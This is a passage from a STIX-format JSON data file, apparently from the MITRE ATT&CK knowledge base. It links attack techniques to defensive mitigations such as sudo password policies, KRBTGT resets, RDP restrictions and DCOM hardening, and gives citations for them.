            "type": "relationship",
            "modified": "2020-03-25T15:42:49.042Z",
            "created": "2020-01-24T17:16:12.005Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "attack-pattern--5095a853-299c-4876-abd7-ac0050fb5462",
            "target_ref": "attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf",
            "relationship_type": "subtechnique-of",
            "id": "relationship--4caab538-217d-4395-b241-34765482c338",
            "type": "relationship",
            "modified": "2020-01-24T17:16:12.018Z",
            "created": "2020-01-24T17:16:12.018Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "attack-pattern--6c174520-beea-43d9-aac6-28fb77f3e446",
            "target_ref": "attack-pattern--5095a853-299c-4876-abd7-ac0050fb5462",
            "relationship_type": "revoked-by",
            "id": "relationship--21f9567c-18c5-41b2-9b57-bb2c039b5293",
            "type": "relationship",
            "modified": "2020-01-24T17:35:47.843Z",
            "created": "2020-01-24T17:35:47.843Z"
        },
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448",
            "target_ref": "attack-pattern--1365fe3b-0f50-455d-b4da-266ce31c23b0",
            "relationship_type": "mitigates",
            "description": "The sudoers file should be strictly edited such that passwords are always required and that users can't spawn risky processes as users with higher privilege.",
            "id": "relationship--800f4061-3347-4816-a633-179ede275505",
            "type": "relationship",
            "modified": "2020-03-27T01:03:26.478Z",
            "created": "2020-01-30T14:34:45.415Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "attack-pattern--1365fe3b-0f50-455d-b4da-266ce31c23b0",
            "target_ref": "attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b",
            "relationship_type": "subtechnique-of",
            "id": "relationship--be444020-9002-42c3-a68c-1591c0d1e9e2",
            "type": "relationship",
            "modified": "2020-01-30T14:34:45.421Z",
            "created": "2020-01-30T14:34:45.421Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f",
            "target_ref": "attack-pattern--1365fe3b-0f50-455d-b4da-266ce31c23b0",
            "relationship_type": "mitigates",
            "description": "By requiring a password, even if an adversary can get terminal access, they must know the password to run anything in the sudoers file. Setting the <code>timestamp_timeout</code> to 0 will require the user to input their password every time <code>sudo</code> is executed.",
            "id": "relationship--f5316001-db89-4c59-8a58-abf12f439c58",
            "type": "relationship",
            "modified": "2020-03-27T01:03:26.481Z",
            "created": "2020-01-30T14:34:45.427Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db",
            "target_ref": "attack-pattern--b84903f0-c7d5-435d-a69e-de47cc3578c0",
            "relationship_type": "mitigates",
            "description": "System settings can prevent applications from running that haven't been downloaded through the Apple Store which may help mitigate some of these issues. Not allowing unsigned applications from being run may also mitigate some risk.",
            "id": "relationship--362b2f10-f599-4663-9cff-27932e11935a",
            "type": "relationship",
            "modified": "2020-03-27T12:04:38.045Z",
            "created": "2020-01-30T14:40:20.608Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "attack-pattern--b84903f0-c7d5-435d-a69e-de47cc3578c0",
            "target_ref": "attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b",
            "relationship_type": "subtechnique-of",
            "id": "relationship--ac53cb36-9471-4ea0-8316-42d97f84956f",
            "type": "relationship",
            "modified": "2020-01-30T14:40:20.626Z",
            "created": "2020-01-30T14:40:20.626Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317",
            "target_ref": "attack-pattern--51a14c76-dd3b-440b-9c20-2bf91d25a814",
            "relationship_type": "mitigates",
            "description": "Enforce the principle of least-privilege. Do not allow a domain user to be in the local administrator group on multiple systems.",
            "id": "relationship--bdf60e66-264d-45ec-bb67-b74fa04fe28e",
            "type": "relationship",
            "modified": "2021-04-14T18:08:25.062Z",
            "created": "2020-01-30T16:18:37.236Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f",
            "target_ref": "attack-pattern--51a14c76-dd3b-440b-9c20-2bf91d25a814",
            "relationship_type": "mitigates",
            "description": "Limit credential overlap across systems to prevent the damage of credential compromise and reduce the adversary's ability to perform Lateral Movement between systems.",
            "id": "relationship--72904b3d-5b24-4698-8094-8919f3bda494",
            "type": "relationship",
            "modified": "2021-04-14T18:08:25.079Z",
            "created": "2020-01-30T16:18:37.239Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317",
            "target_ref": "attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e",
            "relationship_type": "mitigates",
            "description": "Do not allow a domain user to be in the local administrator group on multiple systems.",
            "id": "relationship--7e5e2fd3-cab4-4853-81ad-9bf50e1390bd",
            "type": "relationship",
            "modified": "2021-03-15T21:04:33.349Z",
            "created": "2020-01-30T16:36:51.559Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--2c2ad92a-d710-41ab-a996-1db143bb4808",
            "target_ref": "attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e",
            "relationship_type": "mitigates",
            "description": "Enable pass the hash mitigations to apply UAC restrictions to local accounts on network logon. The associated Registry key is located <code>HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\LocalAccountTokenFilterPolicy</code>.\n\nThrough GPO: Computer Configuration > [Policies] > Administrative Templates > SCM: Pass the Hash Mitigations: Apply UAC restrictions to local accounts on network logons.(Citation: GitHub IAD Secure Host Baseline UAC Filtering)",
            "id": "relationship--2dcd6644-f1d4-4001-81a5-95701fd29360",
            "external_references": [
                {
                    "description": "NSA IAD. (2017, January 24). MS Security Guide. Retrieved December 18, 2017.",
                    "source_name": "GitHub IAD Secure Host Baseline UAC Filtering",
                    "url": "https://github.com/iadgov/Secure-Host-Baseline/blob/master/Windows/Group%20Policy%20Templates/en-US/SecGuide.adml"
                }
            ],
            "type": "relationship",
            "modified": "2021-03-15T21:04:33.413Z",
            "created": "2020-01-30T16:36:51.574Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b",
            "target_ref": "attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e",
            "relationship_type": "mitigates",
            "description": "Apply patch KB2871997 to Windows 7 and higher systems to limit the default access of accounts in the local administrator group.(Citation: NSA Spotting) ",
            "id": "relationship--0c0cd7a2-496b-458d-b041-e05816450502",
            "external_references": [
                {
                    "source_name": "NSA Spotting",
                    "description": "National Security Agency/Central Security Service Information Assurance Directorate. (2015, August 7). Spotting the Adversary with Windows Event Log Monitoring. Retrieved September 6, 2018.",
                    "url": "https://apps.nsa.gov/iaarchive/library/reports/spotting-the-adversary-with-windows-event-log-monitoring.cfm"
                }
            ],
            "type": "relationship",
            "modified": "2021-03-15T21:04:33.487Z",
            "created": "2020-01-30T16:36:51.580Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f",
            "target_ref": "attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e",
            "relationship_type": "mitigates",
            "description": "Limit credential overlap across systems to prevent the damage of credential compromise and reduce the adversary's ability to perform Lateral Movement between systems.",
            "id": "relationship--b06103d8-d410-418e-851a-63ca820cc27e",
            "type": "relationship",
            "modified": "2021-03-15T21:04:33.486Z",
            "created": "2020-01-30T16:36:51.582Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e",
            "target_ref": "attack-pattern--51a14c76-dd3b-440b-9c20-2bf91d25a814",
            "relationship_type": "subtechnique-of",
            "id": "relationship--c54ccdc7-ed15-45c7-bfc9-f6e6e2b0d7f3",
            "type": "relationship",
            "modified": "2020-01-30T16:36:51.584Z",
            "created": "2020-01-30T16:36:51.584Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317",
            "target_ref": "attack-pattern--7b211ac6-c815-4189-93a9-ab415deca926",
            "relationship_type": "mitigates",
            "description": "Do not allow a user to be a local administrator for multiple systems.",
            "id": "relationship--4ff3969a-4992-43c0-b4dc-02a21f5c9b2b",
            "type": "relationship",
            "modified": "2021-03-15T21:42:12.147Z",
            "created": "2020-01-30T17:03:43.449Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f",
            "target_ref": "attack-pattern--7b211ac6-c815-4189-93a9-ab415deca926",
            "relationship_type": "mitigates",
            "description": "Limit domain admin account permissions to domain controllers and limited servers. Delegate other admin functions to separate accounts.(Citation: ADSecurity AD Kerberos Attacks)",
            "id": "relationship--0347a294-8928-4d15-8df2-44452b40afe4",
            "external_references": [
                {
                    "url": "https://adsecurity.org/?p=556",
                    "description": "Metcalf, S. (2014, November 22). Mimikatz and Active Directory Kerberos Attacks. Retrieved June 2, 2016.",
                    "source_name": "ADSecurity AD Kerberos Attacks"
                }
            ],
            "type": "relationship",
            "modified": "2021-03-15T21:42:12.197Z",
            "created": "2020-01-30T17:03:43.468Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--e3388c78-2a8d-47c2-8422-c1398b324462",
            "target_ref": "attack-pattern--7b211ac6-c815-4189-93a9-ab415deca926",
            "relationship_type": "mitigates",
            "description": "To contain the impact of a previously generated golden ticket, reset the built-in KRBTGT account password twice, which will invalidate any existing golden tickets that have been created with the KRBTGT hash and other Kerberos tickets derived from it.(Citation: ADSecurity Kerberos and KRBTGT) For each domain, change the KRBTGT account password once, force replication, and then change the password a second time. Consider rotating the KRBTGT account password every 180 days.(Citation: STIG krbtgt reset)",
            "id": "relationship--918a7d67-faea-4a41-9ed3-e3558fca73db",
            "external_references": [
                {
                    "description": "Sean Metcalf. (2014, November 10). Kerberos & KRBTGT: Active Directory\u2019s Domain Kerberos Service Account. Retrieved January 30, 2020.",
                    "url": "https://adsecurity.org/?p=483",
                    "source_name": "ADSecurity Kerberos and KRBTGT"
                },
                {
                    "source_name": "STIG krbtgt reset",
                    "url": "https://www.stigviewer.com/stig/windows_server_2016/2019-12-12/finding/V-91779",
                    "description": "UCF. (n.d.). The password for the krbtgt account on a domain must be reset at least every 180 days. Retrieved November 5, 2020."
                }
            ],
            "type": "relationship",
            "modified": "2021-03-15T21:42:12.199Z",
            "created": "2020-01-30T17:03:43.477Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485",
            "target_ref": "attack-pattern--7b211ac6-c815-4189-93a9-ab415deca926",
            "relationship_type": "mitigates",
            "description": "Ensure that local administrator accounts have complex, unique passwords.",
            "id": "relationship--214b91f3-a71f-45b2-b85a-b1510d947806",
            "type": "relationship",
            "modified": "2021-03-15T21:42:12.249Z",
            "created": "2020-01-30T17:03:43.475Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "attack-pattern--7b211ac6-c815-4189-93a9-ab415deca926",
            "target_ref": "attack-pattern--51a14c76-dd3b-440b-9c20-2bf91d25a814",
            "relationship_type": "subtechnique-of",
            "id": "relationship--6a387a6a-2359-4ea6-ab73-9428e188d408",
            "type": "relationship",
            "modified": "2020-01-30T17:03:43.478Z",
            "created": "2020-01-30T17:03:43.478Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96",
            "target_ref": "attack-pattern--f005e783-57d4-4837-88ad-dbe7faee1c51",
            "relationship_type": "mitigates",
            "description": "Update corporate policies to restrict what types of third-party applications may be added to any online service or tool that is linked to the company's information, accounts or network (e.g., Google, Microsoft, Dropbox, Basecamp, GitHub). However, rather than providing high-level guidance on this, be extremely specific\u2014include a list of per-approved applications and deny all others not on the list. Administrators may also block end-user consent through administrative portals, such as the Azure Portal, disabling users from authorizing third-party apps through OAuth and forcing administrative consent.(Citation: Microsoft Azure AD Admin Consent)",
            "id": "relationship--90d8b716-a9b3-483a-b16b-fac062cbc6b0",
            "external_references": [
                {
                    "source_name": "Microsoft Azure AD Admin Consent",
                    "url": "https://docs.microsoft.com/en-us/azure/security/fundamentals/steps-secure-identity#block-end-user-consent",
                    "description": "Baldwin, M., Flores, J., Kess, B.. (2018, June 17). Five steps to securing your identity infrastructure. Retrieved October 4, 2019."
                }
            ],
            "type": "relationship",
            "modified": "2021-04-14T18:09:45.724Z",
            "created": "2020-01-30T17:37:22.721Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157",
            "target_ref": "attack-pattern--f005e783-57d4-4837-88ad-dbe7faee1c51",
            "relationship_type": "mitigates",
            "description": "File encryption should be enforced across email communications containing sensitive information that may be obtained through access to email services.",
            "id": "relationship--efafd777-c53d-4459-8765-2e5e44cd0ea1",
            "type": "relationship",
            "modified": "2021-04-14T18:09:45.734Z",
            "created": "2020-01-30T17:37:22.734Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8",
            "target_ref": "attack-pattern--f005e783-57d4-4837-88ad-dbe7faee1c51",
            "relationship_type": "mitigates",
            "description": "Administrators can leverage audit tools to monitor actions that can be conducted as a result of OAuth 2.0 access. For instance, audit reports enable admins to identify privilege escalation actions such as role creations or policy modifications, which could be actions performed after initial access.",
            "id": "relationship--86f6ea64-eb95-4228-956f-eae82b8f49d8",
            "type": "relationship",
            "modified": "2021-04-14T18:09:45.758Z",
            "created": "2020-01-30T17:37:22.737Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "attack-pattern--f005e783-57d4-4837-88ad-dbe7faee1c51",
            "target_ref": "attack-pattern--51a14c76-dd3b-440b-9c20-2bf91d25a814",
            "relationship_type": "subtechnique-of",
            "id": "relationship--682eac15-9d0a-4dc6-8a0a-29f4e15e0696",
            "type": "relationship",
            "modified": "2020-01-30T17:37:22.821Z",
            "created": "2020-01-30T17:37:22.821Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067",
            "target_ref": "attack-pattern--c3c8c916-2f3c-4e71-94b2-240bdfc996f0",
            "relationship_type": "mitigates",
            "description": "Configure browsers or tasks to regularly delete persistent cookies.",
            "id": "relationship--10017b2e-7234-4368-81d7-a4c8b98c26a0",
            "type": "relationship",
            "modified": "2021-04-14T13:21:37.593Z",
            "created": "2020-01-30T17:48:49.736Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "attack-pattern--c3c8c916-2f3c-4e71-94b2-240bdfc996f0",
            "target_ref": "attack-pattern--51a14c76-dd3b-440b-9c20-2bf91d25a814",
            "relationship_type": "subtechnique-of",
            "id": "relationship--02fee6ab-f7a1-4168-919f-63c4f0b3349c",
            "type": "relationship",
            "modified": "2020-01-30T17:48:49.751Z",
            "created": "2020-01-30T17:48:49.751Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "attack-pattern--27960489-4e7f-461d-a62a-f5c0cb521e4a",
            "target_ref": "attack-pattern--f005e783-57d4-4837-88ad-dbe7faee1c51",
            "relationship_type": "revoked-by",
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                    "description": "GReAT. (2019, May 13). ScarCruft continues to evolve, introduces Bluetooth harvester. Retrieved June 4, 2019."
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                    "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.",
                    "source_name": "Github PowerShell Empire"
                }
            ],
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                    "description": "Savill, J. (1999, March 4). Net.exe reference. Retrieved September 22, 2015.",
                    "source_name": "Savill 1999"
                }
            ],
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            "relationship_type": "mitigates",
            "description": "Consider removing the local Administrators group from the list of groups allowed to log in through RDP.",
            "id": "relationship--e7e4be4c-a6ae-44bc-b3af-9c0c41f9212e",
            "type": "relationship",
            "modified": "2020-02-25T19:23:34.362Z",
            "created": "2020-02-12T14:37:27.489Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3",
            "target_ref": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf",
            "relationship_type": "mitigates",
            "description": "Change GPOs to define shorter timeouts sessions and maximum amount of time any single session can be active. Change GPOs to specify the maximum amount of time that a disconnected session stays active on the RD session host server.(Citation: Windows RDP Sessions)",
            "id": "relationship--4b5e4611-ed5c-4223-bc75-5e272090b887",
            "external_references": [
                {
                    "url": "https://technet.microsoft.com/en-us/library/cc754272(v=ws.11).aspx",
                    "description": "Microsoft. (n.d.). Configure Timeout and Reconnection Settings for Remote Desktop Services Sessions. Retrieved December 11, 2017.",
                    "source_name": "Windows RDP Sessions"
                }
            ],
            "type": "relationship",
            "modified": "2020-05-20T13:33:51.054Z",
            "created": "2020-02-12T14:37:27.500Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c",
            "target_ref": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf",
            "relationship_type": "mitigates",
            "description": "Do not leave RDP accessible from the internet. Enable firewall rules to block RDP traffic between network security zones within a network.",
            "id": "relationship--3951503f-c8e9-4331-834e-df4e4afda5fb",
            "type": "relationship",
            "modified": "2020-02-25T19:23:34.418Z",
            "created": "2020-02-12T14:37:27.502Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0",
            "target_ref": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf",
            "relationship_type": "mitigates",
            "description": "Use multi-factor authentication for remote logins.(Citation: Berkley Secure)",
            "id": "relationship--96014091-aba9-4b8f-ac6a-6cdeb593cf30",
            "external_references": [
                {
                    "url": "https://security.berkeley.edu/node/94",
                    "description": "Berkeley Security, University of California. (n.d.). Securing Remote Desktop for System Administrators. Retrieved November 4, 2014.",
                    "source_name": "Berkley Secure"
                }
            ],
            "type": "relationship",
            "modified": "2020-02-25T19:23:34.414Z",
            "created": "2020-02-12T14:37:27.517Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8",
            "target_ref": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf",
            "relationship_type": "mitigates",
            "description": "Audit the Remote Desktop Users group membership regularly. Remove unnecessary accounts and groups from Remote Desktop Users groups.",
            "id": "relationship--36e86ea2-e0d4-4ade-bae8-212a78c8d569",
            "type": "relationship",
            "modified": "2020-02-25T19:23:34.413Z",
            "created": "2020-02-12T14:37:27.524Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--1dcaeb21-9348-42ea-950a-f842aaf1ae1f",
            "target_ref": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf",
            "relationship_type": "mitigates",
            "description": "Use remote desktop gateways.",
            "id": "relationship--375d3b8b-0e1b-4d3b-b31f-43b0e98436a5",
            "type": "relationship",
            "modified": "2020-02-25T19:23:34.411Z",
            "created": "2020-02-12T14:37:27.526Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31",
            "target_ref": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf",
            "relationship_type": "mitigates",
            "description": "Disable the RDP service if it is unnecessary.",
            "id": "relationship--703a5971-a542-4d7d-8bf5-7a9adb1db852",
            "type": "relationship",
            "modified": "2020-02-25T19:23:34.421Z",
            "created": "2020-02-12T14:37:27.528Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f",
            "target_ref": "attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541",
            "relationship_type": "mitigates",
            "description": "Deny remote use of local admin credentials to log into systems. Do not allow domain user accounts to be in the local Administrators group multiple systems.",
            "id": "relationship--935ca61c-b4ff-4cfc-a4e9-9b8aa9514ea3",
            "type": "relationship",
            "modified": "2020-03-23T21:16:03.053Z",
            "created": "2020-02-12T14:50:52.639Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485",
            "target_ref": "attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541",
            "relationship_type": "mitigates",
            "description": "Do not reuse local administrator account passwords across systems. Ensure password complexity and uniqueness such that the passwords cannot be cracked or guessed.",
            "id": "relationship--f72aba67-b581-4836-b5f7-74d125aa906c",
            "type": "relationship",
            "modified": "2020-03-23T21:16:03.050Z",
            "created": "2020-02-12T14:50:52.646Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f",
            "target_ref": "attack-pattern--68a0c5ed-bee2-4513-830d-5b0d650139bd",
            "relationship_type": "mitigates",
            "description": "Modify Registry settings (directly or using Dcomcnfg.exe) in `HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\AppID\\{{AppID_GUID}}` associated with the process-wide security of individual COM applications.(Citation: Microsoft Process Wide Com Keys)\n\nModify Registry settings (directly or using Dcomcnfg.exe) in `HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Ole` associated with system-wide security defaults for all COM applications that do not set their own process-wide security.(Citation: Microsoft System Wide Com Keys) (Citation: Microsoft COM ACL)",
            "id": "relationship--eb21bd35-77bb-4bc4-868d-b6e0940375ca",
            "external_references": [
                {
                    "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx",
                    "description": "Microsoft. (n.d.). Setting Process-Wide Security Through the Registry. Retrieved November 21, 2017.",
                    "source_name": "Microsoft Process Wide Com Keys"
                },
                {
                    "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/ms694331(v=vs.85).aspx",
                    "description": "Microsoft. (n.d.). Registry Values for System-Wide Security. Retrieved November 21, 2017.",
                    "source_name": "Microsoft System Wide Com Keys"
                },
                {
                    "url": "https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1",
                    "description": "Microsoft. (n.d.). DCOM Security Enhancements in Windows XP Service Pack 2 and Windows Server 2003 Service Pack 1. Retrieved November 22, 2017.",
                    "source_name": "Microsoft COM ACL"
                }
            ],
            "type": "relationship",
            "modified": "2020-03-23T20:21:03.958Z",
            "created": "2020-02-12T15:02:01.368Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c",
            "target_ref": "attack-pattern--68a0c5ed-bee2-4513-830d-5b0d650139bd",
            "relationship_type": "mitigates",
            "description": "Enable Windows firewall, which prevents DCOM instantiation by default.",
            "id": "relationship--99651be9-3231-4d78-b36d-5330a3b418fc",
            "type": "relationship",
            "modified": "2020-03-23T20:21:03.965Z",
            "created": "2020-02-12T15:02:01.374Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31",
            "target_ref": "attack-pattern--68a0c5ed-bee2-4513-830d-5b0d650139bd",
            "relationship_type": "mitigates",
            "description": "Consider disabling DCOM through Dcomcnfg.exe.(Citation: Microsoft Disable DCOM)",
            "id": "relationship--6fa7ec61-ea14-40d1-b023-d8fd18738da9",
            "external_references": [
                {
                    "url": "https://technet.microsoft.com/library/cc771387.aspx",
                    "description": "Microsoft. (n.d.). Enable or Disable DCOM. Retrieved November 22, 2017.",
                    "source_name": "Microsoft Disable DCOM"
                }
            ],
            "type": "relationship",
            "modified": "2020-03-23T20:21:03.952Z",
            "created": "2020-02-12T15:02:01.396Z"
        },
        {
